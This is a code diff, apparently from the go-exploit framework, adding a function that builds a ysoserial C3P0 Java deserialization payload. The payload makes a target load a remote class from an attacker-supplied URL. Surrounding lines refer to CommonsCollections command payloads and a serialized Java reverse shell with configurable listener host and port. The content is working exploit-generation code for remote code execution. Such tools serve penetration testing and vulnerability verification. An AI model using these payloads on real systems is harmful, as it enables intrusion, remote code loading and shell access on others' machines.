|
1 | 1 | package java |
2 | 2 |
|
3 | 3 | import ( |
| 4 | + "embed" |
4 | 5 | "errors" |
5 | 6 | "fmt" |
| 7 | + "path/filepath" |
6 | 8 | "strconv" |
7 | 9 | "strings" |
8 | 10 |
|
9 | 11 | "github.com/vulncheck-oss/go-exploit/transform" |
10 | 12 | ) |
11 | 13 |
|
12 | | -var errInvalidCommandLength = errors.New("invalid command length") |
| 14 | +//go:embed gadgets |
| 15 | +var gadgets embed.FS |
| 16 | + |
| 17 | +var ( |
| 18 | + errInvalidCommandLength = errors.New("invalid command length") |
| 19 | + errInvalidCallbackArg = errors.New("invalid callback arg") |
| 20 | +) |
13 | 21 |
|
14 | 22 | func ErrorInvalidCommandLength(msg string) error { |
15 | 23 | return fmt.Errorf("%w: %s", errInvalidCommandLength, msg) |
16 | 24 | } |
17 | 25 |
|
| 26 | +func ErrorInvalidCallbackArg(msg string) error { |
| 27 | + return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg) |
| 28 | +} |
| 29 | + |
18 | 30 | // This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg |
19 | 31 | // The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to |
20 | 32 | // prepend it with a bash -c, and the spaces do not need to be replaced with $IFS. |
@@ -415,6 +427,30 @@ func Commons10CommandBytecode(commandStr string) (string, error) { |
415 | 427 | return payloadBytes, nil |
416 | 428 | } |
417 | 429 |
|
| 430 | +// Load `className` from `baseURL` using `URLClassLoader`. |
| 431 | +// |
| 432 | +// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>". |
| 433 | +func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { |
| 434 | + // 16-bit unsigned integer |
| 435 | + if len(baseURL) < 1 || len(baseURL) > 65535 { |
| 436 | + return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") |
| 437 | + } else if len(className) < 1 || len(className) > 65535 { |
| 438 | + return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters") |
| 439 | + } |
| 440 | + |
| 441 | + // $ java -jar ysoserial.jar C3P0 "<base_url>:<classname>" |
| 442 | + gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin")) |
| 443 | + if err != nil { |
| 444 | + return "", fmt.Errorf("failed to read gadget: %w", err) |
| 445 | + } |
| 446 | + |
| 447 | + gadget := string(gadgetBytes) |
| 448 | + gadget = strings.ReplaceAll(gadget, "\x00\x0a<base_url>", transform.PackBigInt16(len(baseURL))+baseURL) |
| 449 | + gadget = strings.ReplaceAll(gadget, "\x00\x0b<classname>", transform.PackBigInt16(len(className))+className) |
| 450 | + |
| 451 | + return gadget, nil |
| 452 | +} |
| 453 | + |
418 | 454 | // This is a serialized java reverse shell. The gadget was generated by ysoserial |
419 | 455 | // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 |
420 | 456 | // and updated to make it easy to swap in the desired lhost+lport of our choosing |
|
0 commit comments